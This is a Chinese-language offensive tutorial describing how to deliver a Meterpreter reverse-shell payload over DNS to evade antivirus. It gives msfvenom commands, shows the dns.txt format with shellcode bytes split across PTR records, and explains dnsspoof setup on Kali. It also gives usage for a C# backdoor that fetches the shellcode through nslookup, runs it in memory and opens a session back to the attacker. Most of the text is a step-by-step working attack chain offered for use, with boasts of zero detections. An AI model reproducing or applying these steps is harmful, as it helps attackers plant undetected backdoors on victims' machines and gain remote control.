| 前言
在本篇文章里，我想解释怎么样不使用加密数据的方法也能绕过杀软，同时我也想在github上分享源代码。https://github.com/DamonMohammadbagher/NativePayload_DNS
我想使用DNS协议来传输我的后门载荷，从攻击者的机器到客户端机器。这种情况下，我们的后门代码就不需要是硬编码的或者加密的了。
因此被杀软检测出来的风险就很低了。
为什么是DNS协议?
因为在大多数的网络里DNS流量都是有效的，IPS/IDS或者硬件防火墙都不会监控和过滤DNS流量。我知道你可以使用SNORT
IPS/IDS或者类似的东西来检测DNS流量，但是在DNS流量里使用特征检测出新的载荷非常困难。当然网络管理员也有可能这么做。
本篇文章我想给你展示一个在DNS的请求和回应流量里隐藏你的载荷的方法。
漏洞点在哪儿呢?
如果你想要在后门文件中利用非加密或者无硬编码的攻击负荷，比如现在这种情况，你需要利用像http,DNS
...这样的网络协议把攻击负荷从你的系统传送到目标机上。这种情况下，我们想通过DNS协议传送攻击负荷，并同时在目标机器的内存里执行这些攻击载荷。因此漏洞点在于攻击载荷的位置，还在于杀软检测恶意样本的方式。因为在这种情况下，我们不会保存攻击载荷到文件系统，载荷只是在内存里，流量里。
很不幸运的是，各种杀软为检测恶意代码，监控网络流量，监控及扫描内存的，却不是很有效。甚至大多数杀软不管是否有IPS/IDS特性，都是根本无效的。
例子：后门载荷隐藏在拥有PTR记录和A记录的DNS域中。
图 1：DNS域(IP地址到DNS全称域名)
注：图片一的红色翻译：
第一行：Meterpreter载荷的第一行数据 {载荷}.1.com
左下方：时间设置，后门核心代码每十分钟重连一次攻击者，每5分钟建立一次连接。1.1.{10}.{5}
右下方：绕过比如像Snort对DNS流量的基于特征检测攻击载荷的好办法(可能);-)，拆分攻击载荷到1-5记录。你可以利用NSLOOKUP来还原这些记录，每隔一段时间比如(每2分钟：获取一个记录)
正如你所见，这个DNS域中，我有两个很像是全称域名的PTR类型的记录，隐藏了Meterpreter载荷。还有两个PTR类型的记录保存了后门重连的时间设置，还有一个A类型的记录也是保存了时间设置。
拆分载荷数据到记录! 如果你想绕过防火墙或者IPS/IDS对DNS流量的基于特征的检测。
拆分的一个好办法是，把你的攻击载荷拆分到PTR类型的DNS记录里，或者其他你可以加密载荷并使用的协议里。这取决于你和你的目标网络。
正如图1里，我把Meterpreter载荷的第一行数据拆分到5个记录里。因此这些记录里的载荷等于记录1.1.1.0。
例子: 1.0.1.0 + 1.0.1.1 + 1.0.1.2 + 1.0.1.3 + 1.0.1.4
= 1.1.1.0。
在客户端，你可以使用其他的工具或者技术，从假冒的DNS服务器获取还原出这些载荷。不过，我打算利用NSLOOKUP命令行实时获取，因为我觉得这比较简单。
在图片2，我尝试用NSLOOKUP工具测试假冒的DNS服务器到客户端的DNS流量。
图片2：Nslookup命令及DNS流量测试。
注：图2里的红色翻译如下：Meterpreter载荷通过DNS协议传输的流量。现在怎么检测呢?有思路吗?
现在我要讲下，怎么样在Linux里创建假冒的DNS服务器，以及Meterpreter载荷如何保存拆分到DNS记录。最后我要利用我的工具NativePayload_DNS.exe来执行这些载荷，并得到一个Meterpreter连接会话。
步骤1:一步步的创建拥有Meterpreter载荷的假冒DNS服务器：
本步骤中，你可以利用Msfvenom创建一个Meterpreter载荷，像图片4中那样。并把载荷一行一行的拷贝到dns.txt文件中，然后利用DNSSpoof在Kali
Linux中创建一个假冒的DNS服务器。
不过我首先展示EXE模式的Meterpreter载荷，并用所有的杀软测试，然后你会发现绝大多数杀软都可以检测出来。
为什么我要展示着一点呢?
因为我想表明给你看，同一个攻击载荷，用两种技术，一是EXE模式，二是DNS传输。你会看到杀软可以检测出EXE模式的载荷，但是不能检测出利用第二个技术”DNS传输”的载荷。但我们知道这两种方法是同一个载荷。
例子1 , EXE模式的载荷: msfvenom –-platform windows –arch x86_64
–p windows/x64/meterpreter/reverse_tcp lhost=192-168-1-50
–f exe > /root/Desktop/payload.exe
下边图3你会看到，我的EXE模式的载荷被11款杀软检测出来了。
图3：EXE模式的载荷被检测出来了。
好了，现在该用第二种技术了，生成载荷时使用了C类型。
例2 , 第二种技术DNS流量: msfvenom –-platform windows –arch x86_64
–p windows/x64/meterpreter/reverse_tcp lhost=192-168-1-50
–f c > /root/Desktop/payload.txt
生成payload.txt文件后，必须把载荷拷贝到dns.txt，按照图4里的格式，一行一行的拷贝。这非常重要，必须保证dns.txt有正确的格式。因为Linu里的Dnsspoof要用到，格式如下：
IP地址 “{载荷}.域.com”
1.1.1.0 “0xfc0x480x830xe40xf00xe8.1.com”
1.1.1.1“0xbc0xc80x130xff0x100x08.1.com”
在这种情况下，因为我的C#后门定制化的用到了域名"1.com"，我们必须使用这个名称作为域名。或者像其他"2.com"，"3.net"，"t.com"，再或者一个字符加".com"作为域名。
所以在这种情况下，IP地址” 1.1.1.x” 里的x就是dns.txt文件里的载荷行数，
1.1.1.0 --> payload.txt里的0行 --> “{载荷0}.1.com”
1.1.1.1 --> payload.txt里的1行 --> “{载荷1}.1.com”
1.1.1.2 --> payload.txt里的2行 --> “{载荷2}.1.com”
图4：生成假冒的DNS服务器和Meterpreter载荷的步骤1
生成后的dns.txt文件应该如下图5。
图5：dnsspoof用来假冒DNS服务器的Dns.txt文件
好了，现在利用dnsspoof在Linux里生成假冒的DNS服务器，像下图6一样。
图6：dnsspoof工具
在步骤2中，我们需要一个后门，从假冒的DNS服务器下载攻击载荷，利用的是DNS协议。
在这种情况下，我编写了C#代码来干这件事。我的代码里使用了nslookup.exe发送DNS请求，最终我的代码捕获到了DNS
PTR类型回应里的后门载荷。
C# 源代码链接: https://github.com/DamonMohammadbagher/NativePayload_DNS
步骤2：
源代码编译后，生成的exe，按照如下的命令语法执行：
命令语法: NativePayload_DNS.exe “起始IP地址” 计数 “假冒DNS服务器IP地址”
例如: C:\> NativePayload_DNS.exe “1.1.1.” 34 “192.168.1.50”
起始IP地址：是你PTR记录里的第一个IP地址，不包含最后一节。对于域名ID { 1 . 1 . 1 .
}你需要输入三个1.作为参数。
计数：是DNS PTR类型记录的个数，在这种情况下，我们dns.txt 文件里的1.1.1.0 …. 1.1.1.33，所以这个计数是34。
假冒DNS服务器IP地址：是我们或者说是攻击者的假冒的DNS服务器IP地址，在这种情况下，我们的kali
linux ip地址是192-168-1-50。
在执行后门之前，你要记住，必须确保kali linux里的Metasploit监听在IP地址192-168-1-50。
现在你可以像图7一样执行后门了：
NativePayload_DNS.exe 1.1.1. 34 192.168.1.50
图7：NativePayload_DNS
工具
正如图7里，后门尝试发送DNS请求IP地址1.1.1.x，并得到了PTR或者FQDN类型记录的回应。在下一张图里，你会发现客户端和假冒DNS服务器之间的网络流量。
图8：利用DNS流量传送Meterpreter载荷
最终34个记录倒计时完成之后，你会在攻击者那端得到一个Meterpreter连接会话，像图9里的。而且不幸的是，我的杀软没检测出来这种技术。我认为大多数的杀软都无法检测出来，如果你用其他杀软测试了这个技术，请在评论里留言告诉我结果，还有哪款杀软和版本;)。谢谢你伙计。
图9：利用DNS协议的Meterpreter会话连接
你会看到我的杀软再一次被绕过了;-)，这是用所有杀软扫描我的源代码的结果，你可以比较图3和图10。两个后门使用同样的载荷。 
图 10: NativePayload_DNS
(AVs结果 = 0 被检测)
下张图你会看到C#源代码使用了NSLOOKUP工具的背后究竟发生了什么。
图11：Nslookup 和 UDP连接
最终你会在tcpview和putty里看到我的Meterpreter会话，见下图：
图12：Tcpview以及TCP有效连接，当后门载荷被从假冒的DNS服务器下载下来后。
在图13里，你同样可以看到Meterpreter会话：
图13：Meterpreter会话。
一目了然：你不能相信杀软总是可以防范网络中攻击载荷的传输，如果通过这种技术或者其他的方法来传送攻击载荷的话，哪怕是使用其他协议。你的网络和客户端/服务器是很脆弱的。所以请用你自己的杀软测试这个技术，并分享你的经验，在评论里留言告诉我(也许这件事我说错了，也许没有)。 |
